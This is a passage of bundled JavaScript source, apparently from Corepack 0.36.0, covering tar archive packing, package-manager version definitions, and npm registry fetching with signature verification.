        this.linkCache = opt.linkCache || /* @__PURE__ */ new Map();
        this.statCache = opt.statCache || /* @__PURE__ */ new Map();
        this.readdirCache = opt.readdirCache || /* @__PURE__ */ new Map();
        this.onWriteEntry = opt.onWriteEntry;
        this[WRITEENTRYCLASS] = WriteEntry;
        if (typeof opt.onwarn === &quot;function&quot;) {
          this.on(&quot;warn&quot;, opt.onwarn);
        }
        this.portable = !!opt.portable;
        if (opt.gzip || opt.brotli || opt.zstd) {
          if ((opt.gzip ? 1 : 0) + (opt.brotli ? 1 : 0) + (opt.zstd ? 1 : 0) &gt; 1) {
            throw new TypeError(&quot;gzip, brotli, zstd are mutually exclusive&quot;);
          }
          if (opt.gzip) {
            if (typeof opt.gzip !== &quot;object&quot;) {
              opt.gzip = {};
            }
            if (this.portable) {
              opt.gzip.portable = true;
            }
            this.zip = new Gzip(opt.gzip);
          }
          if (opt.brotli) {
            if (typeof opt.brotli !== &quot;object&quot;) {
              opt.brotli = {};
            }
            this.zip = new BrotliCompress(opt.brotli);
          }
          if (opt.zstd) {
            if (typeof opt.zstd !== &quot;object&quot;) {
              opt.zstd = {};
            }
            this.zip = new ZstdCompress(opt.zstd);
          }
          if (!this.zip)
            throw new Error(&quot;impossible&quot;);
          const zip = this.zip;
          zip.on(&quot;data&quot;, (chunk) =&gt; super.write(chunk));
          zip.on(&quot;end&quot;, () =&gt; super.end());
          zip.on(&quot;drain&quot;, () =&gt; this[ONDRAIN2]());
          this.on(&quot;resume&quot;, () =&gt; zip.resume());
        } else {
          this.on(&quot;drain&quot;, this[ONDRAIN2]);
        }
        this.noDirRecurse = !!opt.noDirRecurse;
        this.follow = !!opt.follow;
        this.noMtime = !!opt.noMtime;
        if (opt.mtime)
          this.mtime = opt.mtime;
        this.filter = typeof opt.filter === &quot;function&quot; ? opt.filter : () =&gt; true;
        this[QUEUE2] = new Yallist();
        this[JOBS] = 0;
        this.jobs = Number(opt.jobs) || 4;
        this[PROCESSING] = false;
        this[ENDED3] = false;
      }
      [WRITE](chunk) {
        return super.write(chunk);
      }
      add(path16) {
        this.write(path16);
        return this;
      }
      end(path16, encoding, cb) {
        if (typeof path16 === &quot;function&quot;) {
          cb = path16;
          path16 = void 0;
        }
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (path16) {
          this.add(path16);
        }
        this[ENDED3] = true;
        this[PROCESS2]();
        if (cb)
          cb();
        return this;
      }
      write(path16) {
        if (this[ENDED3]) {
          throw new Error(&quot;write after end&quot;);
        }
        if (typeof path16 === &quot;string&quot;) {
          this[ADDFSENTRY](path16);
        } else {
          this[ADDTARENTRY](path16);
        }
        return this.flowing;
      }
      [ADDTARENTRY](p) {
        const absolute = normalizeWindowsPath(import_path10.default.resolve(this.cwd, p.path));
        if (!this.filter(p.path, p)) {
          p.resume();
        } else {
          const job = new PackJob(p.path, absolute);
          job.entry = new WriteEntryTar(p, this[ENTRYOPT](job));
          job.entry.on(&quot;end&quot;, () =&gt; this[JOBDONE](job));
          this[JOBS] += 1;
          this[QUEUE2].push(job);
        }
        this[PROCESS2]();
      }
      [ADDFSENTRY](p) {
        const absolute = normalizeWindowsPath(import_path10.default.resolve(this.cwd, p));
        this[QUEUE2].push(new PackJob(p, absolute));
        this[PROCESS2]();
      }
      [STAT](job) {
        job.pending = true;
        this[JOBS] += 1;
        const stat = this.follow ? &quot;stat&quot; : &quot;lstat&quot;;
        import_fs12.default[stat](job.absolute, (er, stat2) =&gt; {
          job.pending = false;
          this[JOBS] -= 1;
          if (er) {
            this.emit(&quot;error&quot;, er);
          } else {
            this[ONSTAT](job, stat2);
          }
        });
      }
      [ONSTAT](job, stat) {
        this.statCache.set(job.absolute, stat);
        job.stat = stat;
        if (!this.filter(job.path, stat)) {
          job.ignore = true;
        } else if (stat.isFile() &amp;&amp; stat.nlink &gt; 1 &amp;&amp; !this.linkCache.get(`${stat.dev}:${stat.ino}`) &amp;&amp; !this.sync) {
          if (job === this[CURRENT]) {
            this[PROCESSJOB](job);
          } else {
            const key = `${stat.dev}:${stat.ino}`;
            const pending = this[PENDINGLINKS].get(key);
            if (pending)
              pending.push(job);
            else
              this[PENDINGLINKS].set(key, [job]);
            job.pendingLink = true;
            job.pending = true;
          }
        }
        this[PROCESS2]();
      }
      [READDIR](job) {
        job.pending = true;
        this[JOBS] += 1;
        import_fs12.default.readdir(job.absolute, (er, entries) =&gt; {
          job.pending = false;
          this[JOBS] -= 1;
          if (er) {
            return this.emit(&quot;error&quot;, er);
          }
          this[ONREADDIR](job, entries);
        });
      }
      [ONREADDIR](job, entries) {
        this.readdirCache.set(job.absolute, entries);
        job.readdir = entries;
        this[PROCESS2]();
      }
      [PROCESS2]() {
        if (this[PROCESSING]) {
          return;
        }
        this[PROCESSING] = true;
        for (let w = this[QUEUE2].head; !!w &amp;&amp; this[JOBS] &lt; this.jobs; w = w.next) {
          this[PROCESSJOB](w.value);
          if (w.value.ignore) {
            const p = w.next;
            this[QUEUE2].removeNode(w);
            w.next = p;
          }
        }
        this[PROCESSING] = false;
        if (this[ENDED3] &amp;&amp; this[QUEUE2].length === 0 &amp;&amp; this[JOBS] === 0) {
          if (this.zip) {
            this.zip.end(EOF2);
          } else {
            super.write(EOF2);
            super.end();
          }
        }
      }
      get [CURRENT]() {
        return this[QUEUE2] &amp;&amp; this[QUEUE2].head &amp;&amp; this[QUEUE2].head.value;
      }
      [JOBDONE](job) {
        this[QUEUE2].shift();
        this[JOBS] -= 1;
        const { stat } = job;
        if (stat &amp;&amp; stat.isFile() &amp;&amp; stat.nlink &gt; 1) {
          const key = `${stat.dev}:${stat.ino}`;
          const pending = this[PENDINGLINKS].get(key);
          if (pending) {
            this[PENDINGLINKS].delete(key);
            for (const job2 of pending) {
              job2.pending = false;
              this[PROCESSJOB](job2);
            }
          }
        }
        this[PROCESS2]();
      }
      [PROCESSJOB](job) {
        if (job.pending &amp;&amp; job.pendingLink &amp;&amp; job === this[CURRENT]) {
          job.pending = false;
          job.pendingLink = false;
        }
        if (job.pending) {
          return;
        }
        if (job.entry) {
          if (job === this[CURRENT] &amp;&amp; !job.piped) {
            this[PIPE](job);
          }
          return;
        }
        if (!job.stat) {
          const sc = this.statCache.get(job.absolute);
          if (sc) {
            this[ONSTAT](job, sc);
          } else {
            this[STAT](job);
          }
        }
        if (!job.stat) {
          return;
        }
        if (job.ignore) {
          return;
        }
        if (!this.noDirRecurse &amp;&amp; job.stat.isDirectory() &amp;&amp; !job.readdir) {
          const rc = this.readdirCache.get(job.absolute);
          if (rc) {
            this[ONREADDIR](job, rc);
          } else {
            this[READDIR](job);
          }
          if (!job.readdir) {
            return;
          }
        }
        job.entry = this[ENTRY](job);
        if (!job.entry) {
          job.ignore = true;
          return;
        }
        if (job === this[CURRENT] &amp;&amp; !job.piped) {
          this[PIPE](job);
        }
      }
      [ENTRYOPT](job) {
        return {
          onwarn: (code2, msg, data) =&gt; this.warn(code2, msg, data),
          noPax: this.noPax,
          cwd: this.cwd,
          absolute: job.absolute,
          preservePaths: this.preservePaths,
          maxReadSize: this.maxReadSize,
          strict: this.strict,
          portable: this.portable,
          linkCache: this.linkCache,
          statCache: this.statCache,
          noMtime: this.noMtime,
          mtime: this.mtime,
          prefix: this.prefix,
          onWriteEntry: this.onWriteEntry
        };
      }
      [ENTRY](job) {
        this[JOBS] += 1;
        try {
          const e = new this[WRITEENTRYCLASS](job.path, this[ENTRYOPT](job));
          return e.on(&quot;end&quot;, () =&gt; this[JOBDONE](job)).on(&quot;error&quot;, (er) =&gt; this.emit(&quot;error&quot;, er));
        } catch (er) {
          this.emit(&quot;error&quot;, er);
        }
      }
      [ONDRAIN2]() {
        if (this[CURRENT] &amp;&amp; this[CURRENT].entry) {
          this[CURRENT].entry.resume();
        }
      }
      // like .pipe() but using super, because our write() is special
      [PIPE](job) {
        job.piped = true;
        if (job.readdir) {
          job.readdir.forEach((entry) =&gt; {
            const p = job.path;
            const base = p === &quot;./&quot; ? &quot;&quot; : p.replace(/\/*$/, &quot;/&quot;);
            this[ADDFSENTRY](base + entry);
          });
        }
        const source = job.entry;
        const zip = this.zip;
        if (!source)
          throw new Error(&quot;cannot pipe without source&quot;);
        if (zip) {
          source.on(&quot;data&quot;, (chunk) =&gt; {
            if (!zip.write(chunk)) {
              source.pause();
            }
          });
        } else {
          source.on(&quot;data&quot;, (chunk) =&gt; {
            if (!super.write(chunk)) {
              source.pause();
            }
          });
        }
      }
      pause() {
        if (this.zip) {
          this.zip.pause();
        }
        return super.pause();
      }
      warn(code2, message, data = {}) {
        warnMethod(this, code2, message, data);
      }
    };
    PackSync = class extends Pack {
      sync = true;
      constructor(opt) {
        super(opt);
        this[WRITEENTRYCLASS] = WriteEntrySync;
      }
      // pause/resume are no-ops in sync streams.
      pause() {
      }
      resume() {
      }
      [STAT](job) {
        const stat = this.follow ? &quot;statSync&quot; : &quot;lstatSync&quot;;
        this[ONSTAT](job, import_fs12.default[stat](job.absolute));
      }
      [READDIR](job) {
        this[ONREADDIR](job, import_fs12.default.readdirSync(job.absolute));
      }
      // gotta get it all in this tick
      [PIPE](job) {
        const source = job.entry;
        const zip = this.zip;
        if (job.readdir) {
          job.readdir.forEach((entry) =&gt; {
            const p = job.path;
            const base = p === &quot;./&quot; ? &quot;&quot; : p.replace(/\/*$/, &quot;/&quot;);
            this[ADDFSENTRY](base + entry);
          });
        }
        if (!source)
          throw new Error(&quot;Cannot pipe without source&quot;);
        if (zip) {
          source.on(&quot;data&quot;, (chunk) =&gt; {
            zip.write(chunk);
          });
        } else {
          source.on(&quot;data&quot;, (chunk) =&gt; {
            super[WRITE](chunk);
          });
        }
      }
    };
  }
});

// node_modules/tar/dist/esm/create.js
var create_exports = {};
__export(create_exports, {
  create: () =&gt; create
});
var import_node_path8, createFileSync, createFile, addFilesSync, addFilesAsync, createSync, createAsync, create;
var init_create = __esm({
  &quot;node_modules/tar/dist/esm/create.js&quot;() {
    init_esm2();
    import_node_path8 = __toESM(require(&quot;node:path&quot;), 1);
    init_list();
    init_make_command();
    init_pack();
    createFileSync = (opt, files) =&gt; {
      const p = new PackSync(opt);
      const stream = new WriteStreamSync(opt.file, {
        mode: opt.mode || 438
      });
      p.pipe(stream);
      addFilesSync(p, files);
    };
    createFile = (opt, files) =&gt; {
      const p = new Pack(opt);
      const stream = new WriteStream(opt.file, {
        mode: opt.mode || 438
      });
      p.pipe(stream);
      const promise = new Promise((res, rej) =&gt; {
        stream.on(&quot;error&quot;, rej);
        stream.on(&quot;close&quot;, res);
        p.on(&quot;error&quot;, rej);
      });
      addFilesAsync(p, files).catch((er) =&gt; p.emit(&quot;error&quot;, er));
      return promise;
    };
    addFilesSync = (p, files) =&gt; {
      files.forEach((file) =&gt; {
        if (file.charAt(0) === &quot;@&quot;) {
          list({
            file: import_node_path8.default.resolve(p.cwd, file.slice(1)),
            sync: true,
            noResume: true,
            onReadEntry: (entry) =&gt; p.add(entry)
          });
        } else {
          p.add(file);
        }
      });
      p.end();
    };
    addFilesAsync = async (p, files) =&gt; {
      for (const file of files) {
        if (file.charAt(0) === &quot;@&quot;) {
          await list({
            file: import_node_path8.default.resolve(String(p.cwd), file.slice(1)),
            noResume: true,
            onReadEntry: (entry) =&gt; {
              p.add(entry);
            }
          });
        } else {
          p.add(file);
        }
      }
      p.end();
    };
    createSync = (opt, files) =&gt; {
      const p = new PackSync(opt);
      addFilesSync(p, files);
      return p;
    };
    createAsync = (opt, files) =&gt; {
      const p = new Pack(opt);
      addFilesAsync(p, files).catch((er) =&gt; p.emit(&quot;error&quot;, er));
      return p;
    };
    create = makeCommand(createFileSync, createFile, createSync, createAsync, (_opt, files) =&gt; {
      if (!files?.length) {
        throw new TypeError(&quot;no paths specified to add to archive&quot;);
      }
    });
  }
});

// node_modules/semver/functions/major.js
var require_major = __commonJS({
  &quot;node_modules/semver/functions/major.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var SemVer3 = require_semver();
    var major = (a, loose) =&gt; new SemVer3(a, loose).major;
    module2.exports = major;
  }
});

// sources/_lib.ts
var lib_exports2 = {};
__export(lib_exports2, {
  runMain: () =&gt; runMain
});
module.exports = __toCommonJS(lib_exports2);

// sources/main.ts
var import_clipanion17 = __toESM(require_advanced());

// package.json
var package_default = {
  name: &quot;corepack&quot;,
  version: &quot;0.36.0&quot;,
  homepage: &quot;https://github.com/nodejs/corepack#readme&quot;,
  bugs: {
    url: &quot;https://github.com/nodejs/corepack/issues&quot;
  },
  repository: {
    type: &quot;git&quot;,
    url: &quot;https://github.com/nodejs/corepack.git&quot;
  },
  engines: {
    node: &quot;^22.22.2 || ^24.15.0 || &gt;=26.0.0&quot;
  },
  exports: {
    &quot;./package.json&quot;: &quot;./package.json&quot;
  },
  license: &quot;MIT&quot;,
  packageManager: &quot;yarn@4.18.0+sha224.5707fce90df5d8720fae4e85a07ab55e90aa20fded8914893e2ba225&quot;,
  devDependencies: {
    &quot;@types/debug&quot;: &quot;^4.1.5&quot;,
    &quot;@types/node&quot;: &quot;^22.0.0&quot;,
    &quot;@types/proxy-from-env&quot;: &quot;^1&quot;,
    &quot;@types/semver&quot;: &quot;^7.1.0&quot;,
    &quot;@types/which&quot;: &quot;^3.0.0&quot;,
    &quot;@yarnpkg/eslint-config&quot;: &quot;^3.1.1&quot;,
    &quot;@yarnpkg/fslib&quot;: &quot;^3.0.0-rc.48&quot;,
    &quot;@zkochan/cmd-shim&quot;: &quot;^6.0.0&quot;,
    clipanion: &quot;patch:clipanion@npm%3A3.2.1#~/.yarn/patches/clipanion-npm-3.2.1-fc9187f56c.patch&quot;,
    debug: &quot;^4.1.1&quot;,
    esbuild: &quot;^0.28.0&quot;,
    eslint: &quot;^10.8.1&quot;,
    semver: &quot;^7.6.3&quot;,
    &quot;supports-color&quot;: &quot;^11.0.0&quot;,
    tar: &quot;^7.5.11&quot;,
    typescript: &quot;^5.7.3&quot;,
    &quot;v8-compile-cache&quot;: &quot;^2.3.0&quot;,
    vitest: &quot;^4.0.5&quot;,
    which: &quot;^7.0.0&quot;
  },
  dependenciesMeta: {
    esbuild: {
      built: true
    }
  },
  scripts: {
    build: &quot;run clean &amp;&amp; run build:bundle &amp;&amp; node ./mkshims.ts&quot;,
    &quot;build:bundle&quot;: &quot;esbuild ./sources/_lib.ts --bundle --platform=node --target=node22.22.2 --external:corepack --outfile=&#039;./dist/lib/corepack.cjs&#039; --resolve-extensions=&#039;.ts,.mjs,.js&#039;&quot;,
    clean: &quot;run rimraf dist shims&quot;,
    corepack: &quot;node ./sources/_cli.ts&quot;,
    lint: &quot;eslint&quot;,
    prepack: &quot;yarn build&quot;,
    postpack: &quot;run clean&quot;,
    rimraf: &quot;node -e &#039;for(let i=2;i&lt;process.argv.length;i++)fs.rmSync(process.argv[i],{recursive:true,force:true});&#039;&quot;,
    typecheck: &quot;tsc --noEmit&quot;,
    test: &quot;vitest&quot;
  },
  files: [
    &quot;dist&quot;,
    &quot;shims&quot;,
    &quot;LICENSE.md&quot;
  ],
  publishConfig: {
    bin: {
      corepack: &quot;./dist/corepack.js&quot;,
      pnpm: &quot;./dist/pnpm.js&quot;,
      pnpx: &quot;./dist/pnpx.js&quot;,
      yarn: &quot;./dist/yarn.js&quot;,
      yarnpkg: &quot;./dist/yarnpkg.js&quot;
    },
    executableFiles: [
      &quot;./dist/npm.js&quot;,
      &quot;./dist/npx.js&quot;,
      &quot;./dist/pnpm.js&quot;,
      &quot;./dist/pnpx.js&quot;,
      &quot;./dist/yarn.js&quot;,
      &quot;./dist/yarnpkg.js&quot;,
      &quot;./dist/corepack.js&quot;,
      &quot;./shims/npm&quot;,
      &quot;./shims/npm.ps1&quot;,
      &quot;./shims/npx&quot;,
      &quot;./shims/npx.ps1&quot;,
      &quot;./shims/pnpm&quot;,
      &quot;./shims/pnpm.ps1&quot;,
      &quot;./shims/pnpx&quot;,
      &quot;./shims/pnpx.ps1&quot;,
      &quot;./shims/yarn&quot;,
      &quot;./shims/yarn.ps1&quot;,
      &quot;./shims/yarnpkg&quot;,
      &quot;./shims/yarnpkg.ps1&quot;
    ]
  }
};

// sources/Engine.ts
var import_clipanion5 = __toESM(require_advanced());
var import_fs6 = __toESM(require(&quot;fs&quot;));
var import_path5 = __toESM(require(&quot;path&quot;));
var import_process3 = __toESM(require(&quot;process&quot;));
var import_rcompare = __toESM(require_rcompare());
var import_valid3 = __toESM(require_valid());
var import_valid4 = __toESM(require_valid2());

// config.json
var config_default = {
  definitions: {
    npm: {
      default: &quot;12.0.2+sha1.788d93dc8869000b1078e0395c60748a0aadc4f1&quot;,
      fetchLatestFrom: {
        type: &quot;npm&quot;,
        package: &quot;npm&quot;
      },
      transparent: {
        commands: [
          [
            &quot;npm&quot;,
            &quot;init&quot;
          ],
          [
            &quot;npx&quot;
          ]
        ]
      },
      ranges: {
        &quot;*&quot;: {
          url: &quot;https://registry.npmjs.org/npm/-/npm-{}.tgz&quot;,
          bin: {
            npm: &quot;./bin/npm-cli.js&quot;,
            npx: &quot;./bin/npx-cli.js&quot;
          },
          registry: {
            type: &quot;npm&quot;,
            package: &quot;npm&quot;
          },
          commands: {
            use: [
              &quot;npm&quot;,
              &quot;install&quot;
            ]
          }
        }
      }
    },
    pnpm: {
      default: &quot;11.24.0+sha1.a042a648b5e519c43c5b2c3ff99901448190cd66&quot;,
      fetchLatestFrom: {
        type: &quot;npm&quot;,
        package: &quot;pnpm&quot;
      },
      transparent: {
        commands: [
          [
            &quot;pnpm&quot;,
            &quot;init&quot;
          ],
          [
            &quot;pnpx&quot;
          ],
          [
            &quot;pnpm&quot;,
            &quot;dlx&quot;
          ]
        ]
      },
      ranges: {
        &quot;&lt;6.0.0&quot;: {
          url: &quot;https://registry.npmjs.org/pnpm/-/pnpm-{}.tgz&quot;,
          bin: {
            pnpm: &quot;./bin/pnpm.js&quot;,
            pnpx: &quot;./bin/pnpx.js&quot;
          },
          registry: {
            type: &quot;npm&quot;,
            package: &quot;pnpm&quot;
          },
          commands: {
            use: [
              &quot;pnpm&quot;,
              &quot;install&quot;
            ]
          }
        },
        &quot;6.x || 7.x || 8.x || 9.x || 10.x&quot;: {
          url: &quot;https://registry.npmjs.org/pnpm/-/pnpm-{}.tgz&quot;,
          bin: {
            pnpm: &quot;./bin/pnpm.cjs&quot;,
            pnpx: &quot;./bin/pnpx.cjs&quot;
          },
          registry: {
            type: &quot;npm&quot;,
            package: &quot;pnpm&quot;
          },
          commands: {
            use: [
              &quot;pnpm&quot;,
              &quot;install&quot;
            ]
          }
        },
        &quot;&gt;=11.0.0&quot;: {
          url: &quot;https://registry.npmjs.org/pnpm/-/pnpm-{}.tgz&quot;,
          bin: {
            pnpm: &quot;./bin/pnpm.mjs&quot;,
            pnpx: &quot;./bin/pnpx.mjs&quot;
          },
          registry: {
            type: &quot;npm&quot;,
            package: &quot;pnpm&quot;
          },
          commands: {
            use: [
              &quot;pnpm&quot;,
              &quot;install&quot;
            ]
          }
        }
      }
    },
    yarn: {
      default: &quot;1.22.22+sha1.ac34549e6aa8e7ead463a7407e1c7390f61a6610&quot;,
      fetchLatestFrom: {
        type: &quot;npm&quot;,
        package: &quot;yarn&quot;
      },
      transparent: {
        default: &quot;4.18.0+sha224.5707fce90df5d8720fae4e85a07ab55e90aa20fded8914893e2ba225&quot;,
        commands: [
          [
            &quot;yarn&quot;,
            &quot;init&quot;
          ],
          [
            &quot;yarn&quot;,
            &quot;dlx&quot;
          ]
        ]
      },
      ranges: {
        &quot;&lt;2.0.0&quot;: {
          url: &quot;https://registry.yarnpkg.com/yarn/-/yarn-{}.tgz&quot;,
          bin: {
            yarn: &quot;./bin/yarn.js&quot;,
            yarnpkg: &quot;./bin/yarn.js&quot;
          },
          registry: {
            type: &quot;npm&quot;,
            package: &quot;yarn&quot;
          },
          commands: {
            use: [
              &quot;yarn&quot;,
              &quot;install&quot;
            ]
          }
        },
        &quot;&gt;=2.0.0&quot;: {
          name: &quot;yarn&quot;,
          url: &quot;https://repo.yarnpkg.com/{}/packages/yarnpkg-cli/bin/yarn.js&quot;,
          bin: [
            &quot;yarn&quot;,
            &quot;yarnpkg&quot;
          ],
          registry: {
            type: &quot;url&quot;,
            url: &quot;https://repo.yarnpkg.com/tags&quot;,
            fields: {
              tags: &quot;aliases&quot;,
              versions: &quot;tags&quot;
            }
          },
          npmRegistry: {
            type: &quot;npm&quot;,
            package: &quot;@yarnpkg/cli-dist&quot;,
            bin: &quot;bin/yarn.js&quot;
          },
          commands: {
            use: [
              &quot;yarn&quot;,
              &quot;install&quot;
            ]
          }
        }
      }
    }
  },
  keys: {
    npm: [
      {
        expires: &quot;2025-01-29T00:00:00.000Z&quot;,
        keyid: &quot;SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA&quot;,
        keytype: &quot;ecdsa-sha2-nistp256&quot;,
        scheme: &quot;ecdsa-sha2-nistp256&quot;,
        key: &quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE1Olb3zMAFFxXKHiIkQO5cJ3Yhl5i6UPp+IhuteBJbuHcA5UogKo0EWtlWwW6KSaKoTNEYL7JlCQiVnkhBktUgg==&quot;
      },
      {
        expires: null,
        keyid: &quot;SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U&quot;,
        keytype: &quot;ecdsa-sha2-nistp256&quot;,
        scheme: &quot;ecdsa-sha2-nistp256&quot;,
        key: &quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEY6Ya7W++7aUPzvMTrezH6Ycx3c+HOKYCcNGybJZSCJq/fd7Qa8uuAKtdIkUQtQiEKERhAmE5lMMJhP8OkDOa2g==&quot;
      }
    ]
  }
};

// sources/corepackUtils.ts
var import_crypto2 = require(&quot;crypto&quot;);
var import_events4 = require(&quot;events&quot;);
var import_fs4 = __toESM(require(&quot;fs&quot;));
var import_module = __toESM(require(&quot;module&quot;));
var import_path3 = __toESM(require(&quot;path&quot;));
var import_range = __toESM(require_range());
var import_semver = __toESM(require_semver());
var import_lt = __toESM(require_lt());
var import_parse3 = __toESM(require_parse());
var import_promises2 = require(&quot;timers/promises&quot;);

// sources/debugUtils.ts
var import_debug = __toESM(require_src());
var log = (0, import_debug.default)(`corepack`);

// sources/folderUtils.ts
var import_clipanion = __toESM(require_advanced());
var import_fs = require(&quot;fs&quot;);
var import_os = require(&quot;os&quot;);
var import_path = require(&quot;path&quot;);
var import_process = __toESM(require(&quot;process&quot;));
var INSTALL_FOLDER_VERSION = 1;
function getCorepackHomeFolder() {
  return import_process.default.env.COREPACK_HOME ?? (0, import_path.join)(
    import_process.default.env.XDG_CACHE_HOME ?? import_process.default.env.LOCALAPPDATA ?? (0, import_path.join)((0, import_os.homedir)(), import_process.default.platform === `win32` ? `AppData/Local` : `.cache`),
    `node/corepack`
  );
}
function getInstallFolder() {
  return (0, import_path.join)(
    getCorepackHomeFolder(),
    `v${INSTALL_FOLDER_VERSION}`
  );
}
function getTemporaryFolder(target = (0, import_os.tmpdir)()) {
  (0, import_fs.mkdirSync)(target, { recursive: true });
  while (true) {
    const rnd = Math.random() * 4294967296;
    const hex = rnd.toString(16).padStart(8, `0`);
    const path16 = (0, import_path.join)(target, `corepack-${import_process.default.pid}-${hex}`);
    try {
      (0, import_fs.mkdirSync)(path16);
      return path16;
    } catch (error) {
      if (error.code === `EEXIST`) {
        continue;
      } else if (error.code === `EACCES`) {
        throw new import_clipanion.UsageError(`Failed to create cache directory. Please ensure the user has write access to the target directory (${target}). If the user&#039;s home directory does not exist, create it first.`);
      } else {
        throw error;
      }
    }
  }
}

// sources/httpUtils.ts
var import_assert = __toESM(require(&quot;assert&quot;));
var import_clipanion3 = __toESM(require_advanced());
var import_events = require(&quot;events&quot;);
var import_process2 = require(&quot;process&quot;);
var import_stream = require(&quot;stream&quot;);

// sources/npmRegistryUtils.ts
var import_clipanion2 = __toESM(require_advanced());
var import_crypto = require(&quot;crypto&quot;);
var DEFAULT_HEADERS = {
  [`Accept`]: `application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8`
};
var DEFAULT_NPM_REGISTRY_URL = `https://registry.npmjs.org`;
async function fetchAsJson2(packageName, version) {
  const npmRegistryUrl = (process.env.COREPACK_NPM_REGISTRY || DEFAULT_NPM_REGISTRY_URL).replace(/\/+$/, ``);
  if (process.env.COREPACK_ENABLE_NETWORK === `0`)
    throw new import_clipanion2.UsageError(`Network access disabled by the environment; can&#039;t reach npm repository ${npmRegistryUrl}`);
  const headers = { ...DEFAULT_HEADERS };
  if (`COREPACK_NPM_TOKEN` in process.env) {
    headers.authorization = `Bearer ${process.env.COREPACK_NPM_TOKEN}`;
  } else if (`COREPACK_NPM_USERNAME` in process.env &amp;&amp; `COREPACK_NPM_PASSWORD` in process.env) {
    const encodedCreds = Buffer.from(`${process.env.COREPACK_NPM_USERNAME}:${process.env.COREPACK_NPM_PASSWORD}`, `utf8`).toString(`base64`);
    headers.authorization = `Basic ${encodedCreds}`;
  }
  return fetchAsJson(`${npmRegistryUrl}/${packageName}${version ? `/${version}` : ``}`, { headers });
}
async function verifySignature({ signatures, integrity, packageName, version }) {
  if (!Array.isArray(signatures) || !signatures.length) {
    const rootMetadata = await fetchAsJson2(packageName);
    signatures = rootMetadata.versions?.[version]?.dist?.signatures;
  }
  if (!Array.isArray(signatures) || !signatures.length) throw new Error(`No compatible signature found in package metadata`);
  const { npm: trustedKeys } = process.env.COREPACK_INTEGRITY_KEYS ? JSON.parse(process.env.COREPACK_INTEGRITY_KEYS) : config_default.keys;
  let signature;
  let key;
  for (const k of trustedKeys) {
    signature = signatures.find(({ keyid }) =&gt; keyid === k.keyid);
    if (signature != null) {
      key = k.key;
      break;
    }
  }
  if (signature?.sig == null) throw new import_clipanion2.UsageError(`The package was not signed by any trusted keys: ${JSON.stringify({ signatures, trustedKeys }, void 0, 2)}`);
  const verifier = (0, import_crypto.createVerify)(`SHA256`);
  verifier.end(`${packageName}@${version}:${integrity}`);
  const valid = verifier.verify(
    `-----BEGIN PUBLIC KEY-----
${key}
-----END PUBLIC KEY-----`,
    signature.sig,
    `base64`
  );
  if (!valid) {
    throw new Error(`Signature does not match`);
  }
}
async function fetchLatestStableVersion(packageName) {
  const metadata = await fetchAsJson2(packageName, `latest`);
  const { version, dist: { integrity, signatures, shasum } } = metadata;
  if (!shouldSkipIntegrityCheck()) {
    try {
      await verifySignature({
        packageName,
        version,
        integrity,
        signatures
      });
    } catch (cause) {
      throw new Error(`Corepack cannot download the latest stable version of ${packageName}; you can disable signature verification by setting COREPACK_INTEGRITY_KEYS to 0 in your env, or instruct Corepack to use the latest stable release known by this version of Corepack by setting COREPACK_DEFAULT_TO_LATEST to 0`, { cause });
    }
  }
  return `${version}+${integrity ? `sha512.${Buffer.from(integrity.slice(7), `base64`).toString(`hex`)}` : `sha1.${shasum}`}`;
}
async function fetchAvailableTags(packageName) {
  const metadata = await fetchAsJson2(packageName);
  return metadata[`dist-tags`];
}
async function fetchAvailableVersions(packageName) {
  const metadata = await fetchAsJson2(packageName);
  return Object.keys(metadata.versions);
}
async function fetchTarballURLAndSignature(packageName, version) {
  const versionMetadata = await fetchAsJson2(packageName, version);
  const { tarball, signatures, integrity } = versionMetadata.dist;
  if (tarball === void 0 || !tarball.startsWith(`http`))
    throw new Error(`${packageName}@${version} does not have a valid tarball.`);
  return { tarball, signatures, integrity };
}

// sources/httpUtils.ts
async function fetch(input, init) {
  if (process.env.COREPACK_ENABLE_NETWORK === `0`)
    throw new import_clipanion3.UsageError(`Network access disabled by the environment; can&#039;t reach ${input}`);
  if (typeof input === `string`)
    input = new URL(input);
  let headers = init?.headers;
  const username = input.username || process.env.COREPACK_NPM_USERNAME;
  const password = input.password || process.env.COREPACK_NPM_PASSWORD;
  if (username || password) {
    headers = {
      ...headers,
      authorization: `Basic ${Buffer.from(`${username}:${password}`).toString(`base64`)}`
    };
    input.username = input.password = ``;
  }
  const registry = process.env.COREPACK_NPM_TOKEN &amp;&amp; new URL(process.env.COREPACK_NPM_REGISTRY || DEFAULT_NPM_REGISTRY_URL);
  if (registry &amp;&amp; input.origin === registry.origin) {
    headers = {
      ...headers,
      authorization: `Bearer ${process.env.COREPACK_NPM_TOKEN}`
    };
  }
  let response;
  try {
    response = await globalThis.fetch(input, {
      ...init,
      headers
    });
  } catch (error) {
    throw new Error(
      `Error when performing the request to ${input}; for troubleshooting help, see https://github.com/nodejs/corepack#troubleshooting`,
      { cause: error }
    );
  }
  if (!response.ok) {
    await response.arrayBuffer();
    throw new Error(
      `Server answered with HTTP ${response.status} when performing the request to ${input}; for troubleshooting help, see https://github.com/nodejs/corepack#troubleshooting`
    );
  }
  return response;
}
async function fetchAsJson(input, init) {
  const response = await fetch(input, init);
  return response.json();
}
async function fetchUrlStream(input, init) {
  if (process.env.COREPACK_ENABLE_DOWNLOAD_PROMPT === `1`) {
    console.error(`! Corepack is about to download ${input}`);
    if (import_process2.stdin.isTTY &amp;&amp; !process.env.CI) {
      import_process2.stderr.write(`? Do you want to continue? [Y/n] `);
      import_process2.stdin.resume();
      const chars = await (0, import_events.once)(import_process2.stdin, `data`);
      import_process2.stdin.pause();
      if (chars[0][0] === 110 || chars[0][0] === 78)
        throw new import_clipanion3.UsageError(`Aborted by the user`);
      console.error();
    }
  }
  const response = await fetch(input, init);
  const webStream = response.body;
  (0, import_assert.default)(webStream, `Expected stream to be set`);
  const stream = import_stream.Readable.fromWeb(webStream);
  return stream;
}

// sources/nodeUtils.ts
var import_os2 = __toESM(require(&quot;os&quot;));
function isNodeError(err) {
  return !!err?.code;
}
function isExistError(err) {
  return err.code === `EEXIST` || err.code === `ENOTEMPTY`;
}
